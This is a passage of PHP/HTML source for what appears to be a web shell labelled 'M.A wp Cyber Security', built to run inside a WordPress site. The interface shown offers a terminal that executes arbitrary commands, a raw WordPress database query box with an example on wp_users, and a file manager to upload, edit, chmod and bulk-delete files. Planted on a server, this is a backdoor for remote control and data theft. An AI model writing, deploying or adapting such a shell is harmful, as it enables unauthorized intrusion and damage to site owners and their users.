htmlspecialchars($part) . '</a>'; } ?> <span class="writable-indicator <?= $isWritable ? 'writable-yes' : 'writable-no' ?>"> <?= $isWritable ? '✓ Writable' : '✗ Read Only' ?> </span> </div> <?php if (!$isWritable): ?> <div class="permission-warning"> ⚠️ <strong>Warning:</strong> Current directory is not writable. You may not be able to create, edit, or delete files. <br>Try: <code>chmod 755 <?= basename(CURRENT_PATH) ?></code> </div> <?php endif; ?> <div class="main-content"> <?php if ($editMode && $editFile): ?> <!-- EDIT MODE --> <div class="section edit-section"> <div class="section-title"> <span>✏️</span> <span>Editing: <?= htmlspecialchars($editFile) ?></span> <?php if (is_writable(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)): ?> <span style="font-size: 0.7em; color: #4CAF50; font-weight: normal;">(Writable)</span> <?php else: ?> <span style="font-size: 0.7em; color: #f44336; font-weight: normal;">(Read Only)</span> <?php endif; ?> <a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>" style="margin-left: auto;"> <button type="button" style="background: #666; padding: 5px 15px;"> ✕ Close </button> </a> </div> <div class="file-info"> <div class="file-info-item"> <span class="file-info-label">📄 File:</span> <span class="file-info-value"><?= htmlspecialchars($editFile) ?></span> </div> <div class="file-info-item"> <span class="file-info-label">📂 Path:</span> <span class="file-info-value"><?= htmlspecialchars(CURRENT_PATH) ?></span> </div> <div class="file-info-item"> <span class="file-info-label">📊 Size:</span> <span class="file-info-value"><?= is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile) ? formatBytes(filesize(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) : 'N/A' ?></span> </div> <div class="file-info-item"> <span class="file-info-label">🔐 Permissions:</span> <span class="file-info-value"><?= is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile) ? substr(sprintf('%o', fileperms(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)), -4) : 'N/A' ?></span> </div> </div> <form method="post" action="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>" id="editForm"> <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>"> <textarea name="content" id="editor" <?= !is_writable(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile) ? 'readonly style="background:#f5f5f5;"' : '' ?>><?= htmlspecialchars($editContent) ?></textarea> <div class="edit-actions"> <?php if (is_writable(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)): ?> <button type="submit" class="btn-success" onclick="return confirmSave()"> 💾 Save Changes </button> <button type="button" onclick="window.location.href='?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>'" style="background: #666;"> ❌ Cancel </button> <?php else: ?> <button type="button" disabled style="opacity: 0.5; cursor: not-allowed; background: #999;"> 🔒 Read Only </button> <button type="button" onclick="window.location.href='?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>'" style="background: #666;"> ✕ Close </button> <?php endif; ?> </div> <div style="margin-top: 15px; padding: 12px; background: #f8f9fa; border-radius: 6px; font-size: 12px; color: #666; border: 1px solid #e8e8e8;"> 💡 <strong>Tips:</strong> <ul style="margin: 5px 0 0 20px;"> <li>Editing does NOT change file permissions. Use the "Ch" button in the file list to change permissions.</li> <li>Press <kbd>Ctrl+S</kbd> to save (if writable).</li> <li>Make sure you have write permissions on the file and directory.</li> </ul> </div> </form> </div> <?php else: ?> <!-- NORMAL VIEW MODE --> <div class="stats"> <div class="stat-item"> <div class="stat-value"><?= count($folders) ?></div> <div class="stat-label">📁 Folders</div> </div> <div class="stat-item"> <div class="stat-value"><?= count($files) ?></div> <div class="stat-label">📄 Files</div> </div> <div class="stat-item"> <div class="stat-value"><?= formatBytes(array_sum(array_column($files, 'size'))) ?></div> <div class="stat-label">📊 Total Size</div> </div> <?php if ($wpLoaded && function_exists('get_bloginfo')): ?> <div class="stat-item"> <div class="stat-value" style="font-size: 1em;"><?= htmlspecialchars(get_bloginfo('name')) ?></div> <div class="stat-label">🌐 WordPress Site</div> </div> <?php endif; ?> </div> <div class="section"> <div class="section-title"> <span>💻</span> <span>Terminal</span> </div> <div class="terminal-box"> <strong style="color: #fff; font-size: 13px;">M.A???:<?= htmlspecialchars($terminal_cwd) ?>$</strong> <?php if ($terminal_output): ?> <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div> <?php endif; ?> <form method="post" class="terminal-input-row"> <input type="text" name="terminal-text" placeholder="Enter command..." autocomplete="off" autofocus> <button type="submit" name="terminal" value="1" style="min-width: 80px;"> ▶ Execute </button> </form> </div> </div> <?php if ($wpdbAvailable): ?> <div class="section wp-section"> <div class="section-title"> <span>🗄️</span> <span>WordPress Database Query</span> <span style="font-size: 0.7em; color: #888; font-weight: normal;">(Admin only)</span> </div> <form method="post"> <div class="form-inline"> <input type="text" name="wp_query" placeholder="SELECT * FROM wp_users WHERE user_login = 'admin'" style="flex: 2;" required> <button type="submit" class="btn-wp">Execute Query</button> </div> <?php if ($wp_query_result): ?> <div class="result-box"><?= htmlspecialchars($wp_query_result) ?></div> <?php endif; ?> <small style="color: #888;">⚠️ Use with caution - only SELECT queries recommended</small> </form> </div> <?php endif; ?> <div class="section"> <div class="section-title"> <span>⚡</span> <span>Quick Actions</span> </div> <div class="quick-actions"> <form method="post" class="form-inline"> <input type="text" name="newfolder" placeholder="New folder name" required <?= !$isWritable ? 'disabled style="background:#f5f5f5;"' : '' ?>> <button type="submit" <?= !$isWritable ? 'disabled' : '' ?>> 📁 Create Folder </button> </form> <form method="post" class="form-inline"> <input type="text" name="newfile" placeholder="New file name (e.g., test.php)" required <?= !$isWritable ? 'disabled style="background:#f5f5f5;"' : '' ?>> <button type="submit" <?= !$isWritable ? 'disabled' : '' ?>> 📄 Create File </button> </form> <form method="post" enctype="multipart/form-data" class="form-inline" style="flex-direction: column; align-items: stretch;"> <div style="display: flex; gap: 10px; width: 100%; flex-wrap: wrap;"> <input type="file" name="files[]" multiple style="padding: 8px; font-size: 12px; flex: 1;" <?= !$isWritable ? 'disabled' : '' ?>> <button type="submit" <?= !$isWritable ? 'disabled' : '' ?> style="flex: 0;"> ⬆️ Upload Files </button> </div> <div style="display: flex; gap: 20px; margin-top: 8px; flex-wrap: wrap;"> <label class="overwrite-checkbox"> <input type="checkbox" name="overwrite" value="1" <?= !$isWritable ? 'disabled' : '' ?>> Overwrite existing files </label> <small style="color: #888; font-size: 11px;">Hold Ctrl/Cmd to select multiple files</small> </div> </form> </div> </div> <div class="section"> <div class="section-title"> <span>📂</span> <span>File Browser</span> <?php if (!$isWritable): ?> <span style="font-size: 0.7em; color: #f44336; font-weight: normal;">(Read Only)</span> <?php endif; ?> </div> <!-- FIX: bulk form is now split into a wrapper with form="bulkForm" attributes on the checkboxes so individual row actions can use their own forms without nesting (which browsers strip). --> <form method="post" id="bulkForm" style="display: none;"></form> <div class="bulk-actions"> <label style="display: flex; align-items: center; gap: 8px; cursor: pointer;"> <input type="checkbox" id="selectAll" form="bulkForm" onchange="toggleAllCheckboxes()" <?= !$isWritable ? 'disabled' : '' ?>> <strong>Select All</strong> </label> <span style="color: #888;">|</span> <button type="submit" form="bulkForm" name="bulk_delete" value="1" class="btn-danger" onclick="return confirmBulkDelete()" style="display: none;" id="bulkDeleteBtn" <?= !$isWritable ? 'disabled' : '' ?>> 🗑️ Delete Selected </button> <span style="color: #888; font-size: 12px;" id="selectedCount">0 selected</span> </div> <div class="file-browser-container"> <table> <thead> <tr> <th style="width: 35px;"> <input type="checkbox" form="bulkForm" onchange="toggleAllCheckboxes()" <?= !$isWritable ? 'disabled' : '' ?>> </th> <th>Name</th> <th>Size</th> <th>Permissions</th> <th>Modified</th> <th style="min-width: 300px;">Actions</th> </tr> </thead> <tbody> <?php foreach ($folders as $item): ?> <tr class="folder-row"> <td class="checkbox-col"> <input type="checkbox" form="bulkForm" name="delete_folders[]" value="<?= htmlspecialchars($item['name']) ?>" class="item-checkbox" onchange="updateSelectedCount()" <?= !$isWritable ? 'disabled' : '' ?>> </td> <td> <span class="file-icon">📁</span> <strong> <a href="?dir=<?= urlencode(encodePath($item['path'])) ?>"> <?= htmlspecialchars($item['name']) ?> </a> </strong> </td> <td><em style="color: #666;">--</em></td> <td> <form method="post" style="display: flex; gap: 5px; align-items: center;"> <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>"> <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 65px; padding: 5px; text-align: center; font-size: 12px;"> <button type="submit" style="padding: 5px 10px; font-size: 11px;">Ch</button> </form> </td> <td style="color: #666; white-space: nowrap;"><?= date('m/d/Y H:i', $item['modified']) ?></td> <td> <div class="actions"> <form method="post" style="display: inline-flex; gap: 5px; align-items: center;"> <input type="hidden" name="old" value="<?= $item['name'] ?>"> <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; font-size: 12px;" <?= !$isWritable ? 'disabled' : '' ?>> <button type="submit" style="padding: 5px 10px; font-size: 11px;" <?= !$isWritable ? 'disabled' : '' ?>>Rename</button> </form> <form method="post" style="display: inline;"> <input type="hidden" name="delete" value="<?= $item['name'] ?>"> <button type="submit" class="btn-danger" onclick="return confirm('Delete folder <?= addslashes($item['name']) ?>?')" style="padding: 5px 10px; font-size: 11px;" <?= !$isWritable ? 'disabled' : '' ?>> 🗑️ </button> </form> </div> </td> </tr> <?php endforeach; ?> <?php foreach ($files as $item): ?> <tr class="file-row"> <td class="checkbox-col"> <input type="checkbox" form="bulkForm" name="delete_files[]" value="<?= htmlspecialchars($item['name']) ?>" class="item-checkbox" onchange="updateSelectedCount()" <?= !$isWritable ? 'disabled' : '' ?>> </td> <td> <?php $icon = '📄'; $ext = strtolower($item['extension']); $icons = [ 'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝', 'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦', 'sql' => '🗃️', 'json' => '📋', 'xml' => '📄', 'py' => '🐍', 'rb' => '💎' ]; if (isset($icons[$ext])) $icon = $icons[$ext]; ?> <span class="file-icon"><?= $icon ?></span> <a href="<?= htmlspecialchars($item['name']) ?>" target="_blank"> <?= htmlspecialchars($item['name']) ?> </a> <?php if (realpath($item['path']) === realpath(__FILE__)): ?> <span style="color: #d32f2f; font-size: 0.7em; margin-left: 6px;">🔒</span> <?php endif; ?> <?php if (!is_writable($item['path'])): ?> <span style="color: #ff6f00; font-size: 0.7em; margin-left: 6px;">🔒</span> <?php endif; ?> </td> <td style="color: #666;"><?= formatBytes($item['size']) ?></td> <td> <form method="post" style="display: flex; gap: 5px; align-items: center;"> <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>"> <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 65px; padding: 5px; text-align: center; font-size: 12px;"> <button type="submit" style="padding: 5px 10px; font-size: 11px;">Ch</button> </form> </td> <td style="color: #666; white-space: nowrap;"><?= date('m/d/Y H:i', $item['modified']) ?></td> <td> <div class="actions"> <a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>&edit=<?= urlencode($item['name']) ?>"> <button class="btn-edit" style="padding: 5px 12px; font-size: 12px;"> ✏️ Edit </button> </a> <form method="post" style="display: inline-flex; gap: 5px; align-items: center;"> <input type="hidden" name="old" value="<?= $item['name'] ?>"> <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 5px; font-size: 12px;" <?= !$isWritable ? 'disabled' : '' ?>> <button type="submit" style="padding: 5px 10px; font-size: 11px;" <?= !$isWritable ? 'disabled' : '' ?>>Rename</button> </form> <form method="post" style="display: inline;"> <input type="hidden" name="delete" value="<?= $item['name'] ?>"> <button type="submit" class="btn-danger" onclick="return confirm('Delete file <?= addslashes($item['name']) ?>?')" style="padding: 5px 10px; font-size: 11px;" <?= !$isWritable ? 'disabled' : '' ?>> 🗑️ </button> </form> </div> </td> </tr> <?php endforeach; ?> <?php if (empty($folders) && empty($files)): ?> <tr> <td colspan="6" style="text-align: center; padding: 40px; color: #888;"> 📂 This directory is empty </td> </tr> <?php endif; ?> </tbody> </table> </div> </div> <?php endif; ?> </div> <div class="footer"> <p> PHP: <?= phpversion() ?> | <?= $wpLoaded ? 'WordPress: ' . (function_exists('get_bloginfo') ? get_bloginfo('version') : 'Detected') : 'Standalone Mode' ?> | <?= $isWritable ? '📝 Writable' : '🔒 Read Only' ?> <br> <small>M.A wp Cyber Security </small> </p> </div> </div> <script> function toggleAllCheckboxes() { const selectAll = document.getElementById('selectAll'); const checkboxes = document.querySelectorAll('.item-checkbox'); checkboxes.forEach(cb => { cb.checked = selectAll.checked; }); updateSelectedCount(); } function updateSelectedCount() { const checkboxes = document.querySelectorAll('.item-checkbox:checked'); const count = checkboxes.length; const deleteBtn = document.getElementById('bulkDeleteBtn'); const countDisplay = document.getElementById('selectedCount'); if (count > 0) { deleteBtn.style.display = 'inline-block'; countDisplay.textContent = count + ' selected'; } else { deleteBtn.style.display = 'none'; countDisplay.textContent = '0 selected'; } } function confirmBulkDelete() { const checkboxes = document.querySelectorAll('.item-checkbox:checked'); const count = checkboxes.length; if (count === 0) { alert('Please select at least one item to delete.'); return false; } return confirm('Are you sure you want to delete ' + count + ' selected item(s)?\n\nThis action cannot be undone.'); } function confirmSave() { return confirm('Are you sure you want to save changes to this file?'); } document.addEventListener('DOMContentLoaded', function() { const terminalInput = document.querySelector('[name="terminal-text"]'); if (terminalInput) { terminalInput.focus(); const lastCmd = localStorage.getItem('last_command'); if (lastCmd) terminalInput.value = lastCmd; } document.querySelectorAll('form').forEach(form => { if (form.querySelector('[name="terminal-text"]')) { form.addEventListener('submit', function() { const cmd = this.querySelector('[name="terminal-text"]').value; localStorage.setItem('last_command', cmd); }); } }); updateSelectedCount(); document.addEventListener('keydown', function(e) { if (e.ctrlKey && e.key === 's') { const editForm = document.getElementById('editForm'); if (editForm) { e.preventDefault(); const saveBtn = editForm.querySelector('button[type="submit"]'); if (saveBtn && !saveBtn.disabled) { if (confirmSave()) { editForm.submit(); } } } } }); }); </script> </body> </html>
💾 Save Changes
❌ Cancel
💡
Tips:
Editing does NOT change file permissions. Use the "Ch" button in the file list to change permissions.
Press
Ctrl+S
to save (if writable).
Make sure you have write permissions on the file and directory.